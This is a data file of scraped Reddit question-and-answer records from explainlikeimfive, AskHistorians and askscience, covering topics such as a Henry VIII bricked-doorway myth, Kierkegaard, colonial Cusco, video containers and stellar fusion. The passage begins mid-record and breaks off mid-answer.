Genghis and Vlad.\n\nThis in turn has prompted others to question the rumour. As a result, there was an interesting exchange on Twitter between a couple of sceptics and Greg Jenner, [who teaches an MA seminar in public history at York](_URL_1_), is an historical consultant to the \"Horrible Histories\" TV show \u2013 and, somewhat incredibly, claims to be \"both a passionate defender and careful critic of the way in which the past is exploited by our society for entertainment.\"\n\nWhile Twitter is not normally a good source, it's worth giving the exchange here as it does illuminate the sort of standards a children's TV history show [produced for the BBC](_URL_9_) feels it needs to stick to these days \u2013 the short answer being that the standards are quite unbelievably low.\n\nThe question was first posed on [History Stack Exchange](_URL_8_):\n\n > I was just watching some TV with my kids, and we were enjoying the (normally reliable) Horrible Histories TV show.\n\n > It claimed that Henry VIII had a long series of bedtime preparations to ensure his nightly slumber was safe. Fair enough. The final step, though, was to brick up his doorway each and every night, taking the wall down in the morning.\n\n > This seems pretty crazy. If Henry could get out in the morning, intruders would surely have been able to get in fairly easily. If the wall was mortared, it would take too long to dry. Not to mention the level of skill involved by artisans to do the brickwork.\n\n > So I searched on it and found nothing except a bunch of other amateur historians also ridiculing the idea.\n\n > I posted about this on social media and, to my surprise, the historical adviser to the series replied to say he'd heard the story from the owners of Allington Castle. That seems a bit of a flimsy basis to me. And even with the extra information I couldn't track down any evidence.\n\n > Is there any truth to this story? Is it as unlikely as it sounds?\n\nThis query was [then forwarded to Jenner by an archaeologist called Iain McCulloch](_URL_12_):\n\n > One for Greg Jenner I think.\n\nAnd [Jenner responded](_URL_0_):\n\n > Haha thanks, it's one of those half dubious stories which circulate and we thought it would be fun to run with it.\n\nA Twitter user called Matt Thrower [then asked](_URL_10_):\n\n > Sorry it's me again, wondering if I can find any evidence :)\n\nTo which [Jenner replied](_URL_3_):\n\n > Feel free to ask around, we are well aware many facts are possibly myths but until they are disproved they remain usable on a comedy show.\n\nAdding...\n\n > these stories come from somewhere, but where... and why\n\nI suppose a TV show is free to set its own rules in this regard, and though I find it regrettable that such a popular series plays so fast and loose with the facts, I can at least see some spin off benefit in the form of more kids finding history more fascinating.\n\nBut I find it unfortunate, in fact unforgivable, that anyone who calls himself an historian could take such a cavalier approach to evidence and sources. After all, if HH requires that someone \"disprove the myth\" in order that some check be placed on its content, that's something its \"historical consultant\" ought to be responsible for, and could quite easily have done. Clearly he didn't feel it necessary to try.\n\nIn this context, it's worth mentioning that a response to the initial query was posted on History Stack Exchange, where a user called Patricia Shanahan observed:\n\n > In this case, I think the absence of evidence does very, very strongly suggest it didn't happen. For example, the Eltham Ordinance lists many types of royal household workers and their duties, but never mentions the Privy Chamber Bricklayer, who would have had to be close to the King twice a day. It discusses the handling of left over torches and wax, but not the handling of the bricks for the King's chamber. It specifies when the pages and squires have to get up in order to be ready to attend the King at eight in the morning, without saying what time the bricklayer should dismantle the wall.\n\nIt strikes me that this is a useful way of approaching the problem, although hardly a definitive one \u2013 the Eltham Ordinance dates to 1526, which is more than two decades before Henry's death.\n\nThis still leaves unresolved the question of where the original rumour originated. We have Jenner's claim that he heard it from \"the owners of Allington Castle\", [which is privately owned, in Kent, and does have associations with Henry VIII](_URL_4_). This is quite plausible, as [the castle website reveals that several series of Horrible Histories have shot at this location](_URL_5_). The current owners are Sir [Robert Worcester](_URL_2_), the founder of the MORI polling organisation, and his wife. Other than that, the earliest account I have been able to trace dates to November 2013, when the question [was debated on the forum of a website called The  Anne Boleyn Files](_URL_11_). The original questioner sourced it as follows \u2013 adding an alternate supposed reason for the practice:\n\n > It cropped up during a conversation I had with a friend some time ago. She said to me\u2026\n\n > \u201cDid you know that Henry (towards the end of his life) used to be bricked up inside his lodgings every night, and the bricks taken down every morning, due to his fear of getting sick\u201d\n\n > I know he had a fear of getting poorly\u2026 but did he take it this far!?\n\nThat's pretty vague. But perhaps further investigation will reveal if the rumour can be traced further back than that.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://twitter.com/greg_jenner/status/904805124207464448", "http://www.gregjenner.com/", "https://www.ft.com/content/0b03f43e-3963-11da-806e-00000e2511c8", "https://twitter.com/greg_jenner/status/904807129349054465", "http://www.hha.org.uk/Property/788/Allington-Castle", "https://allington-castle.com/film-and-television-shoots/", "http://www.bbc.co.uk/cbbc/programmes/schedules/hd/2017/09/04", "https://www.bbc.co.uk/iplayer/cbbc/episode/b094mq0p/horrible-histories-series-7-8-ruthless-rulers", "https://history.stackexchange.com/questions/40036/did-henry-viii-have-his-bedroom-bricked-up-every-night", "http://www.bbc.co.uk/cbbc/shows/horrible-histories", "https://twitter.com/mattthr/status/904806790587703296", "https://www.theanneboleynfiles.com/forum/henry-viii/rumour-i-had-heard/", "https://twitter.com/SempaiScuba/status/904804632848891904"]]}
{"q_id": "7l2eyv", "title": "when you squish a bug, why does yellowish goo come out instead of organs and red blood?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7l2eyv/eli5_when_you_squish_a_bug_why_does_yellowish_goo/", "answers": {"a_id": ["drixw11"], "score": [10], "text": ["Some insects don't use the same oxygen transport molecule (hemoglobin) that humans do, instead preferring other molecules that are yellow, green, or blue in color.\n\nWhen you kill them, the blood is greenish.  Many species do have red blood though, they're not all the same.\n\nOrgans are tiny and well secured to the inside wall of the exoskeleton so they're unlikely to come out in any discernible way.  Insects don't have veins and arteries but rather are basically filled with that viscous \"blood\", so you typically see that when you crack the exoskeleton open."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "sjcbu", "title": "kierkegaard's ideas", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/sjcbu/eli5_kierkegaards_ideas/", "answers": {"a_id": ["c4eikq1"], "score": [3], "text": ["Any specific questions you have in mind? Kirekegaard is a pretty big philosopher.\n\nLet's start with Either/Or. I'm probably least familiar with this work, but it basically says that there are three \"spheres\": the religious, the ethical and the aesthetic. \n\nI haven't actually read Fear and Trembling either, but it analyzes Abraham's near-sacrifice of Isaac. Ethically, it's pretty wrong to try and sacrifice your son, but Kierkegaard says you can't approach this situation ethically. The sphere of the religious is beyond the ethical. That's the \"teleological suspension of the ethical\".\n\nIt also describes Knights of Faith in the world Oike Abraham) who empathically believe and put their faith in God, while Knights of Infinite Resignation (like Socrates) are always striving but never really reach true faith. (asymptotic striving in non-eli5 terms).\n\nThe Sickness Unto Death describes the relationship between despair and sin. First, Kierkegaard describes the self as \"the relation that relates itself to the self\" (or something along those terms: I read SUD a while ago). This is a kinda complicated sentence, but what he's saying is that the self is recursive. \n\nEveryone is a combination of dichotomies/contradictions. We're both infinite and finite, powerful and powerless, etc. The self is the thing that is constantly synthesizing/combining these opposites to renew itself. \n\nKierkegaard then says, but wait! If the self renews itself, how did the self come to be in the first place? Kirkegaard says God first created it. But since the self tries to synthesize everything that has ever had a relationship to it, it tries to incorporate God with the rest of itself as well. \n\nThe problem is that it's a one-sided relationship. God created us and then poof! He's gone. The self tries to connect with God, with its origins, but it just can't reach. If God exists, I can't see him. He doesn't talk to me, he doesn't seem to care about me, so why the hell should I care? There's no response when thes elf reaches out. The self can't integrate God. This makes the person unhappy and in despair. Ultimately, this despair, this acceptance of futility, this not bothering to even try to connect with God, is sin. \n\nThis is where things start to smell existentialist. In order to complete your self (and yourself), you have to take a leap of faith. You have to trust in God. You think it's futile to try and connect to God, but it doesn't matter because you do it ANYWAY. That's how you escape sin and despair. It doesn't make logical sense, but that doesn't matter. The religious sphere transcends everything. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bxbpj3", "title": "Why did Spain destroy pre-Columbian cities that they admired", "selftext": "Alright so I have been having an interest in historical events for a while now, specifically pre Columbian history and I know Spain often did destroy towns in terms of conquest, the majority of them being smaller but why is it, when they went to the capital cities such as tenochtitlan or cusco, cities that Spain has multiple accounts of appreciating, with Spanish seeing tenochtitlan and wondering if they were dreaming, or seeing Cusco and saying it is beautiful and would be remarkable even for Spain, why did they destroy them? Even after there were lots of surviving architecture even after the conquests, did they just settle there out of laziness? Or is there something else too it? I could maybe see as to why they destroyed tenochtitlan seeing as t had a fairly nice location and a lot of the city had burned down leaving just the stone structure that had been damaged, but why Cusco? It is a city up in the mountains that is over 1000 kilometers away from Lima and was susceptible to Incan attacks even after the Incan empire fell because of the successor state being the neo Incan state", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bxbpj3/why_did_spain_destroy_precolumbian_cities_that/", "answers": {"a_id": ["eqstzhp"], "score": [4], "text": ["You'll find a portion of your answer in these earlier answers from /u/drylaw on the [Spanish treatment of Tenochtitlan](_URL_0_) and from myself and /u/drylaw on the [position of cities in Spanish and indigenous worldviews](_URL_3_). The main takeaway from these is that cities are so much more than just a place to settle- they are religious centers, social centers, economic centers, and, for the Spanish, a hallmark of the civilized living of Christendom. Thus, destroying a city is not just about usurping \"fairly nice location:\" it's about the symbolic violence of usurping a temple, plaza, or gateway.\n\nThe story of Cusco is similar to that of Tecnochtitlan. Many of the most prominent religious and political buildings were torn down and built over with an equivalent Spanish institution. The Qoricancha, main temple of the personified sun Inti that is said to have been entirely gilded in gold, had its superstructure demolished and replaced with the Convento de Santo Domingo. To this day, the symbolism of the [Spanish church sitting on an Inca foundation](_URL_1_) isn't subtle. The Santa Catalina convent was built on top of the old *acllahuasi,* the residences and workshops of women selected from across the empire to serve the royal family by weaving, embroidering, and brewing.\n\nNow, this was also done to re-code urban spaces as white  &  European. I've touched a bit before on [colonial policies on race](_URL_2_). While the idea of \"two republics\" never manifested, the principal guided colonial laws incorporating cities and towns. In the ideal plan, indigenous folk lived in *reducciones* administrated by religious orders or in towns centered on *hacienda* plantations.  Of course, as politics played out, things went differently. Hacienda owners, originally conquistadors granted land by the crown, rapidly ran their operations into the ground through abusive mismanagement and had to be regulated. Quechua nobles remained in cities, aligning themselves with Spanish elites to retain their wealth and power. In highland cities like Cusco or La Paz, the urban-rural divide would eventually became less one of perceived native or European ancestry and more one of class and *performed* indigeneity. Elite indigenous families actually actively resisted the revolts of Tupac Katari when his primarily rural, Aymara army laid seige to La Paz, just as they fled to Cusco when sentiments of rebellion against the Spanish crown emerged in Lima.\n\nSuch qualifiers aside, colonial Andean cities were implicitly and explicitly European spaces well into the 20th-century. It wasn't until the '50s and '60s that the *hacienda* system in Peru and Bolivia was legally dismantled, and it took decades more indigenous populations to establish urban communities. Even today, many Aymara speakers that sell in the markets of La Paz and El Alto, Bolivia are seen as \"*indios*\" by urban shoppers but as *mestizo*, \"mixed,\" when in their rural homes. When new public transit cable cars connected affluent parts of La Paz with the outskirts a few years back, people complained that they started seeing \"certain types of people\" in the stores near the stations. To connect this back to your question- the Spanish treatment of cities in the Andes was partly an act of symbolic violence, but also a reassertion of these cities as European spaces.\n\n\nSome good books on Andean cities:\n\nBuechler, Hans C. The Masked Media: Aymara Fiestas and Social Interaction in the Bolivian Highlands. Walter de Gruyter, 1980.\n\nBurns, Kathryn. Colonial Habits: Convents and the Spiritual Economy of Cuzco, Peru. Duke University Press, 1999.\n\nGarrett, David T. Shadows of Empire: The Indian Nobility of Cusco, 1750-1825. Cambridge University Press, 2005."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/a78usw/why_did_hern%C3%A1n_cort%C3%A9s_destroy_tenochtitlan_and/ec1cuj6/", "https://upload.wikimedia.org/wikipedia/commons/thumb/d/dd/Coricancha%2C_Cusco%2C_Per%C3%BA%2C_2015-07-31%2C_DD_68.JPG/1200px-Coricancha%2C_Cusco%2C_Per%C3%BA%2C_2015-07-31%2C_DD_68.JPG", "https://www.reddit.com/r/AskHistorians/comments/20gdxx/how_were_antimiscegenation_laws_justified_during/", "https://old.reddit.com/r/AskHistorians/comments/ax0x2o/were_european_explorers_afraid_to_find_more/ehy38w9/"]]}
{"q_id": "6d713i", "title": "how is electric current/voltage described in terms of elementary particles?", "selftext": "Is it \"current=number of electrons moving at a given time\", \"voltage=velocity of these electrons\"? If so, would the speed also be non-linear to voltage, since energy=current*voltage, yet energy is proportional to the square of velocity?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6d713i/eli5_how_is_electric_currentvoltage_described_in/", "answers": {"a_id": ["di0eb4k"], "score": [3], "text": ["1 Ampere is defined to be 1 Coulomb per second passing through a plane. 1 Coulomb is 6.24x10^18 electron charges(you can also see holes flow but that's another issue)\n\nThe speed of the electrons is the same, the drift velocity never really changes. Very rarely will you get an electron you put in one end of the wire out the other end in a reasonable time\n\nVoltage is defined as the difference in electric potential across a load that dissipates 1 Watt of power at 1 Amp. An Ohm is the resistance of that load\n\nTo use the traditional water analogy\n\nVoltage is the height difference between two points, it makes the water want to flow\n\nResistance is the width and depth of the river\n\nCurrent is the volume of water that passes through"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3bwast", "title": "How big, if any, was the population of people in the U.S. That were alive for both the revolutionary and civil wars?", "selftext": "Further, did they have any particular opinion about the civil war?  ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3bwast/how_big_if_any_was_the_population_of_people_in/", "answers": {"a_id": ["csqp908"], "score": [8], "text": ["I can't attempt to give a solid answer about opinions of the war, but the 1860 census lets us get an idea of the numbers. In 1860, there were a total of 110,251 people in the U.S. over the age of 80 (born before 1780) living in the U.S., and 16,416 of those were over the age of 90 (born before 1770). The war was from 1775 to 1783, so all of those people were alive for some portion of it, and a smaller percentage would have been alive for all of it or have had any real memories connected to the war period. Further, a significant portion of those people would have immigrated after the war, and some of those living in 1860 would have died before the Civil War started in 1861.\n\nIn the previous year, there were 9,622 deaths in the 80-90 age range and 2,864 in the 90+ range, so assuming that was constant into the following year, this brings our totals to 97,765 born before 1780 and 13,552 born before 1770 who were still living in 1861. The population was about 15% foreign born, so if we can assume that this was evenly distributed by age (a risky assumption, but for these purposes probably okay), that gives us roughly 83,000 people who were living in the U.S. in both 1780 and 1861, and roughly 11,500 of those were living in the U.S. in 1770.\n\nSource: Population of the United States in 1860; compiled from the original returns of the eighth census, pages xxviii, xiv, 597\n\nLink: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://archive.org/stream/populationofusin00kennrich#page/596/mode/2up"]]}
{"q_id": "2fssx7", "title": "why do people in very hot countrys, i.e. nomads in deserts drink hot tea instead of cold beverages?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2fssx7/eli5why_do_people_in_very_hot_countrys_ie_nomads/", "answers": {"a_id": ["ckcdy2x", "ckcegm4", "ckcg9gc", "ckcgtfa", "ckcj4ye", "ckclini", "ckd6dsx"], "score": [70, 15, 5, 96, 3, 2, 2], "text": ["Our tongues have receptors in them that can sense temperature. When we put a hot drink in our mouth, it sends a signal to our brain that things are heating up. The brain compensates by cooling down our bodies, by sweating. This, we cool down. The receptors are also sensitive to capsicum, the active ingredient in chili peppers, which is why they make you sweat. Also probably why spicy food is traditionally only popular in societies in hotter climates.", "First of all, hot beverages might seem like a silly idea, but will actually cool you off more than ice cold ones. The later will give you a short burst of \"cooling\", but your body will think \"Damn, its pretty cold, better heat up\" and you will in turn heat up more. Hot drinks work vice versa.  \nSame goes for showers, by the way.  \n\nAnd in addition to that: How would you obtain a really cool beverage until you had coolers and fridges?", "Because many many years ago beverages that had been brought to boiling temperature were mostly the only ones safe to drink since the water supply was not sanitary. Some of these countries and groups you mention still live in conditions without clean water which is why they still drink hot drinks. As for the ones that have clean water now, it's because over many many years of drinking hot beverages their taste developed to prefer it.", "There are two reasons:\n\n* Drinking warm fluids causes the body to react by cooling itself and lowering your overall temperature via various methods.\n\n* Safe drinking water! Think about it. There aren't exactly a ton of good sources of clean water for nomads in very hot places! Boiling water, aside for providing a good medium for delicious tea, also purifies questionable sources of water. ", "One thing to keep in mind that's sort of an aside.\n\nIn a lot of the world the only safe things to drink are tea and alcoholic beverages because for both water is always boiled first.  And well, muslim countries tend to frown on alcohol.\n\nThat isn't to say coffee or other water sources can't be also used, but if you're unsure as to the quality of the water, boiling it up and making tea has some benefits.  ", "So the REAL answer is: because when you drink something warm on a warm say your sensors in your stomach over react causing a rush of a thin layer of sweat to cover your body, if you are outside then the air and wind will actually cool your body  off. BUT this principle works best if you are outdoors. If you are inside and hot and drink hot tea....good luck you will just over heat.", "Hot beverages warm the belly stabilizing the core temp, making a smoother(and greater) temp differential. Dilates the meat parts, including muscles, allowing greater fluid exchange and premoting relaxation by reducing muscle tightness and smooth muscle contractions. = >  less manipulation/friction\n\nRelax, your sweaty. Stop eating onions pickled in vodka if your worried about the odor. If due to staining all your whites, reduce your fat intake and reduce your urea buildup, it can get goutty. Sweaty gout is unpleasant when you drop your icecream cone in a sand dune."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "mbq15", "title": "why mkv is supplanting avi as the preferred video format", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/mbq15/eli5_why_mkv_is_supplanting_avi_as_the_preferred/", "answers": {"a_id": ["c2znfiq", "c2zoy1k", "c2zoztb", "c2zq0a6", "c2zr7mr", "c2znfiq", "c2zoy1k", "c2zoztb", "c2zq0a6", "c2zr7mr"], "score": [43, 2, 6, 5, 2, 43, 2, 6, 5, 2], "text": ["It is not a format.  It's a container.\n\nIf AVI is a nice cube box, MKV is adjustable in all of its dimensions, and comes with all sorts of packing materials.  There is much more flexibility about what you can put inside of it.  It's not preferred, but the *actual* formats (e.g. h264, AAC, FLAC, xvid) are changing more rapidly than the AVI container can support in many ways.", "It has more features similar to what DVDs have, like built in subtitles and different audio streams (eg. English, Dubbed, Directors commentary etc.)", "This doesn\u2019t answer your question directly, but just as others stated \u2013 MKV is a container.\n\nNow, \u201cDive into HTML5\u201d by Mark Pilgrim has a nice writeup (and I think pretty straightforward as the book is for designers) about [video containers and video codecs](_URL_0_). You can learn about the difference, many major containers and useful codecs. There\u2019s not much about MKV, but it\u2019s a good starting material anyway.\n\nHighly recommended.", "Gonna try a simile here, so correct me if I'm thinking about this wrongly. \n\nIf we're going to sum it LI5: avi is more similar to VHS, mkv to DVD. Remember how with VHS you had to choose dubbed vs subtitled, fullscreen vs widescreen? Once we got to DVD, we could put all those options onto the disc. With an avi, you get a single file that you can't really modify that much. With mkv, you can get different subtitle and audio tracks and such that can be turned on and off.\n\nHowever, avi files are also a lot easier to get to work on different formats--computer, consoles, potable devices--precisely because they are so simple. ", "Something else I haven't seen anyone point out yet is font embedding and position-emplacement for subtitles. Download pretty much any anime release to notice this.", "It is not a format.  It's a container.\n\nIf AVI is a nice cube box, MKV is adjustable in all of its dimensions, and comes with all sorts of packing materials.  There is much more flexibility about what you can put inside of it.  It's not preferred, but the *actual* formats (e.g. h264, AAC, FLAC, xvid) are changing more rapidly than the AVI container can support in many ways.", "It has more features similar to what DVDs have, like built in subtitles and different audio streams (eg. English, Dubbed, Directors commentary etc.)", "This doesn\u2019t answer your question directly, but just as others stated \u2013 MKV is a container.\n\nNow, \u201cDive into HTML5\u201d by Mark Pilgrim has a nice writeup (and I think pretty straightforward as the book is for designers) about [video containers and video codecs](_URL_0_). You can learn about the difference, many major containers and useful codecs. There\u2019s not much about MKV, but it\u2019s a good starting material anyway.\n\nHighly recommended.", "Gonna try a simile here, so correct me if I'm thinking about this wrongly. \n\nIf we're going to sum it LI5: avi is more similar to VHS, mkv to DVD. Remember how with VHS you had to choose dubbed vs subtitled, fullscreen vs widescreen? Once we got to DVD, we could put all those options onto the disc. With an avi, you get a single file that you can't really modify that much. With mkv, you can get different subtitle and audio tracks and such that can be turned on and off.\n\nHowever, avi files are also a lot easier to get to work on different formats--computer, consoles, potable devices--precisely because they are so simple. ", "Something else I haven't seen anyone point out yet is font embedding and position-emplacement for subtitles. Download pretty much any anime release to notice this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://diveinto.html5doctor.com/video.html#video-containers"], [], [], [], [], ["http://diveinto.html5doctor.com/video.html#video-containers"], [], []]}
{"q_id": "9uy0oj", "title": "Did Japanese/Allied soldiers stumble across any native tribes in New Guinea in WW2? If so, what was the reaction on both sides?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9uy0oj/did_japaneseallied_soldiers_stumble_across_any/", "answers": {"a_id": ["e97wevc"], "score": [63], "text": ["Just to clarify, are you asking if combatants encountered previously uncontacted tribes? Or a broader question about native New Guineans? Native New Guineans played a fairly active role in the New Guinea Campaign but I'm not sure if that's exactly the question being asked here..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "zxwnv", "title": "Why did cultures adopt rites of manhood/womanhood, and how long has the idea of being an adult existed?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/zxwnv/why_did_cultures_adopt_rites_of_manhoodwomanhood/", "answers": {"a_id": ["c68qg47", "c68sreo", "c68t1cf"], "score": [9, 5, 2], "text": ["You might also want to try /r/Anthropology. Many of these \"coming of age\" rites are pre-historic (in the sense of starting before written history).\n", "In many cultures, the commencement of puberty marked the beginning of adulthood. The idea of adolescence is actually a relatively new concept, in the scope of human history - up until comparatively recently, you were a child, and then you were an adult. (For an American-centric look at the history of the idea of adolescence as distinct from childhood and adulthood, see [this paper](_URL_1_) by Joseph Kett.)\n\nWith women having a slightly more obvious event which marks the beginning of puberty than men do, as well as with their historically less important status in society, I suspect you'll find more male coming-of-age rituals for men than women. We women still have our own delightful ritual that rather transcends cultures. \n\nSpeaking in regard to the Romans, the coming-of-age ritual for Roman boys involved putting aside the [bulla](_URL_0_, a talisman worn around the neck like a locket, filled with things meant to protect the child until he could protect himself at adulthood (reached at 16) - at which point a special ceremony would be held in which the bulla would be put aside. For women in Rome, at least as far as my understanding goes, the shift between daughter and wife was really when a woman was considered an adult of sorts. But menses signalled the beginning of marriageable age. (For those of you who don't know, for many reasons - some of which are known to us and some of which are yet to be proved - there is a trend toward the decreasing first age of menstruation in women, especially in the Western world. For women of the ancient world, it's likely that 14-16 would be the average age to begin menstruation, whereas today that age is much lower.)\n\nGreat question, and I hope you crosspost it to /r/Anthropology - I'm interested to see what their perspective is!", "Cross posted [here](_URL_0_). We'll see what Anthropology has to say."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Bulla_(amulet)", "http://analepsis.files.wordpress.com/2011/01/kettreflections.pdf"], ["http://www.reddit.com/r/Anthropology/comments/zzhjy/xpost_from_askhistorians_why_did_cultures_adopt/"]]}
{"q_id": "8fpy1n", "title": "Was the Cadaver Synod justified?", "selftext": "Were the charges levelled accurate, and did the trial in general lead to anything more significant in the Catholic church?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8fpy1n/was_the_cadaver_synod_justified/", "answers": {"a_id": ["dy5kqn0"], "score": [5], "text": ["When you ask Justified what do you mean?\n\nThat the Synod had the Authority to condemn Boniface?\nThat Their Condemnation was accurate?\nor that any associated political ambition which may have been a cause for this trial reached fruition?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "l6b2f", "title": "How potent are coins and bank notes as sources of infection?", "selftext": "Since they're handled daily by such a great amount of people - and people probably do weird things with their money - one would assume that a potentially large amount of bacteria could reside on them. And since everyone comes in contact with them in their everyday lives, couldn't they be a major source of contamination? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/l6b2f/how_potent_are_coins_and_bank_notes_as_sources_of/", "answers": {"a_id": ["c2q541e", "c2q57y4", "c2q5pe4", "c2q5twp", "c2q541e", "c2q57y4", "c2q5pe4", "c2q5twp"], "score": [29, 23, 6, 4, 29, 23, 6, 4], "text": ["There was a study done on this, they showed that the bacteria could last for up to 17 days. \n\n _URL_0_\n\nI believe in the food industry you are taught to touch coins and food with different hands, so people must be aware of this already", "Are copper coins more hygienic than the other kind? I read somewhere copper is a natural antibacterial but don't have a source on that.", "_URL_0_\n\nsounds like they have isolated a lot of bacteria from money that are known to be pathogenic, but i couldn't find any observational studies linking increased money handling to illness.", "Also, how useful are they in building immunity? ", "There was a study done on this, they showed that the bacteria could last for up to 17 days. \n\n _URL_0_\n\nI believe in the food industry you are taught to touch coins and food with different hands, so people must be aware of this already", "Are copper coins more hygienic than the other kind? I read somewhere copper is a natural antibacterial but don't have a source on that.", "_URL_0_\n\nsounds like they have isolated a lot of bacteria from money that are known to be pathogenic, but i couldn't find any observational studies linking increased money handling to illness.", "Also, how useful are they in building immunity? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.newscientist.com/mobile/article/dn12116"], [], ["http://www.ncbi.nlm.nih.gov/pubmed/20084997"], [], ["http://www.newscientist.com/mobile/article/dn12116"], [], ["http://www.ncbi.nlm.nih.gov/pubmed/20084997"], []]}
{"q_id": "8fqtv3", "title": "As I understand it, the earliest Christians expected Jesus to return imminently, or at least within their lifetime. How was the Church able to handle it, and even grow exponentially, when this didn't happen? At what point was this no longer the predominant expectation of new converts?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8fqtv3/as_i_understand_it_the_earliest_christians/", "answers": {"a_id": ["dy6fmrq"], "score": [565], "text": [" >  How was the Church able to handle it, and even grow exponentially, when this didn't happen?\n\n1 Thessalonians addresses exactly this problem: What do you say to Christians who are disappointed that Jesus hasn't yet returned? In chapter four, Paul addresses the Thessalonians' concerns about \u201cthose who sleep in death\u201d \\(4.13\\). It appears \\(based on Paul's reply; we don't have the letter to which he is responding\\) that the Thessalonians had been given the impression that Christ's second coming was imminent; when members of the community died before Christ's return, the survivors worried that their fallen brothers and sisters would therefore be excluded from the new kingdom. Paul reassures them that\n\n > we who are still alive, who are left until the coming of the Lord, will certainly not precede those who have fallen asleep. For the Lord himself will come down from heaven, with a loud command, with the voice of the archangel and with the trumpet call of God, and the dead in Christ will rise first. After that, we who are still alive and are left will be caught up together with them in the clouds to meet the Lord in the air. And so we will be with the Lord forever \\(4.15\\-17\\).\n\nIn other words, there are contingencies in place for those who succumb to death before the end of the world. There is a plan, Paul reassures them, for an extended wait.\n\nPaul also makes the timeline a little more vague. In the next chapter, he reminds the Thessalonians of a particular aspect of his earlier teaching, telling them that \u201cabout times and dates we do not need to write to you, for you know very well that the day of the Lord will come like a thief in the night\u201d \\(5.1\\-2\\). That is, no one knows when the end will come, as like a thief it will come by surprise. This might strike you as somewhat surprising itself, as speculation about the end of the world typically includes all kinds of signs that indicate *when* the end is nigh \\(cf. 2 Thessalonians 2, where Paul offers a number of signs \\(one reason some scholars doubt its authenticity\\)\\). Why would Paul preach to the Thessalonians that the exact timing of the end of the world is impossible to predict? Well, if the world does not end when he says it will, he's going to have a lot of disappointed people. Better to be vague. This is sometimes referred to as \u201cdelayed eschatology:\u201d The end of the world is DEFINITELY coming, but it's coming at some ill\\-defined point in the future. That way, Christianity can have the end of the world as central to its beliefs without it dominating present considerations.\n\nThere were many other strategies employed, but these \\( &  the realized eschatology of Luke\\) are the earliest  &  some of the most influential.\n\n > At what point was this no longer the predominant expectation of new converts?\n\nIt's hard to say what the majority of early converts believed, as we simply don't have access to that sort of data. What evidence we do have \u2013\\- a handful of 1st century Christian texts \u2013\\- doesn't express too much interest in imminent eschatology. As 1 Thessalonians suggests, even the earliest converts were dissuaded from thinking of the end of the world as something that would occur soon. Similarly, in 1 Timothy there's lots of talk about establishing a church hierarchy, rearing children, planning for the future, etc. You wouldn't expect Christians to be doing those sorts of things if they thought the world was going to end next week.\n\nThat said, there's never been a point in Christian history when someone wasn't preaching that the world was about to end. Indeed, this sort of message is especially effective at attracting converts. The problem is that imminent eschatology doesn\u2019t lend itself to the creation of the sort of enduring institutions that a religion needs to grow and prosper. There's an excellent modern example of this in Seventh\\-Day Adventism \\(see Lawson, \u201cThe Persistence of Apocalypticism Within a Denominationalizing Sect\u201d\\): Converts are drawn in with a promise of imminent destruction, but comparatively little is said about the end of the world among established members of the church. It's difficult to get people to plan and build and foster community if they think God is about to wipe everything away.\n\nRather than think of imminent eschatology as a Christian belief that was superseded, then, it might be better to think of it as a persistent Christian belief that is specifically targeted at potential converts. Telling people that the world is about to end is a great way to scare the crap out of them and get them to join, but the messaging usually shifts once they're on the inside. Hook 'em with the fire and brimstone, then give them their assignment for next week's bake sale."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "iy1yk", "title": "Why does the order of fusion of elements in a star core go H= > He= > C= > O= > Ne=Si= > Fe? Why does it skip steps?", "selftext": "Why does Fusion in a star not follow the order of elements from Lightest to Heaviest in order?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/iy1yk/why_does_the_order_of_fusion_of_elements_in_a/", "answers": {"a_id": ["c27k3d2", "c27k5ws", "c27k6a8"], "score": [25, 12, 8], "text": ["Each combination has its [own set of reasons for why it happens](_URL_0_).\n\n", "See the [Proton-Proton Chain Reaction](_URL_2_), OR the [CNO cycle](_URL_1_). This is then followed by the [Triple Alpha Process](_URL_0_) \n\nI feel retarded because I just took a stellar physics course 2 semesters ago and can't remember a darn thing. But essentially elements will fuse into isotopes, decay, and fuse again into more stable elements (I think). For the Proton-Proton reaction: we start with Hydrogen (1 proton), two Hydrogens gives us Deuterium (with a plus two charge). The resulting positron and any free electron will annhiliate each other to create a gamma ray. Now we have Deuterium fusing with another free Hydrogen, giving us a Helium isotope (3 protons). From here, depending on the star, there are a few paths to take to get to Helium. To make things easy we'll just go with the \"first\" path, i.e., two of our Helium isotopes fusing to create one Helium (+4) and two Hydrogens. \n\nI skipped the 